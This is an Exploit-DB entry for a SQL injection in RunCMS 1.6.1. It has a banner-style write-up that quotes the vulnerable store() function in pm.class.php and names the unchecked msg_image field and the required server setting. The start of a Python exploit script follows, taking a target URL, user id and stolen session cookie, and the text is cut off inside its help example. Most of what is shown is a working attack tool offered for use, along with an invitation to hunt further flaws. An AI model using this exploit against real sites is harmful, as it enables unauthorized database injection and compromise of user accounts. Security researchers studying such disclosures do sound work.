Exploit-DB #5562
Description: RunCMS 1.6.1 - 'msg_image' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-08
Author: The:Paradox

Exploit:
#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This is a public Exploit                                    #
#=================================================================================================#
#  	           		           Runcms <= 1.6.1                                        #
#                                    Sql Injection Vulnerability                                  #
#=================================================================================================#
#                                .-= In memory of our friend rGod =-.                        	  #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   #           #
#====================================#		 #====================================#           #
#                                                #                                                #
# magic_quotes_gpc = 0                           #  Vendor:   runcms.org	                  #
#                                                #  Author:   The:Paradox                         #
#================================================#  Severity: Moderately Critical                 #
#                                                #                                                #
# Uff... I have to find something to put here... #  Proud To Be Italian.                          #
#                                                #                                                #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
#												  #
# This time i'm really too lazy to write a long PoC.						  #
# $msg_image (but also $msg_attachment) is unproperly checked when calling store()	          #
# function (modules/messages/class/pm.class.php) 						  #
# Sql injection in insert syntax (whatever I am not using blind attack). Prefix knowledge needed. #
#												  #
#=================================================================================================#

[modules/messages/class/pm.class.php]


64. 	function store() {
65.	global $db, $upload;
66.
67.	if ( !$this->isCleaned() ) {
68.		if ( !$this->cleanVars() ) {
69.			return false;
70.		}
71.	}
72.	
73.	foreach ( $this->cleanVars as $k=>$v ) {
74.		$$k = $v;
75.	}
76.	
77.	if ( empty($msg_id) ) {
78.	
79.		$msg_id = $db->genId($db->prefix('private_msgs').'_msg_id_seq');
80.		
81.		$sql = "
82.			INSERT INTO ".$db->prefix("private_msgs")." SET
83.			msg_id=".intval($msg_id).",
84.			msg_image='$msg_image',
85.			msg_attachment='$msg_attachment',
86.			subject='$subject',
87.			from_userid=".intval($from_userid).",
88.			to_userid=".intval($to_userid).",
89.			msg_time=".time().",
90.			msg_text='$msg_text',
91.			read_msg=0,
92.			type='".$type."',
93.			allow_html=".intval($allow_html).",
94.			allow_smileys=".intval($allow_smileys).",
95.			allow_bbcode=".intval($allow_bbcode).",
96.			msg_replay=".intval($msg_replay)."";
97.	}
98.
99.	if ( !$result = $db->query($sql) ) {
100.		$this->errors[] = _NOTUPDATED;
101.		return false;
102.	}
103.
104.	return true;
105.	}
												  
#=================================================================================================#
# There are other vulnerabilities in this CMS. Find them by yourself. 		                  #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#=================================================================================================#
#                                      Python Exploit Starts                                      #
#=================================================================================================#
"""

import urllib, urllib2
from sys import argv, exit


main = """
#================================================================#
#  	                  Runcms <= 1.6.1                        #
#                   Sql Injection Vulnerability                  #
#                     Discovered By The:Paradox                  #
#                                                                #
#                 rGod is still alive in our hearts              #
#                                                                #
# Usage:                                                         #
#  ./homerun [Target+path] [TargetUid] [ValidUserCookie]         #
#  ./homerun --help (to print an example)                        #
#================================================================#
"""

prefix = "runcms_"

if len(argv)>=2 and argv[1] == "--help": 
	print "\nuser@linux:~/Desktop$ ./homerun http://localhost/web/runcms/ 1 rc_sess=a%3A3%3A%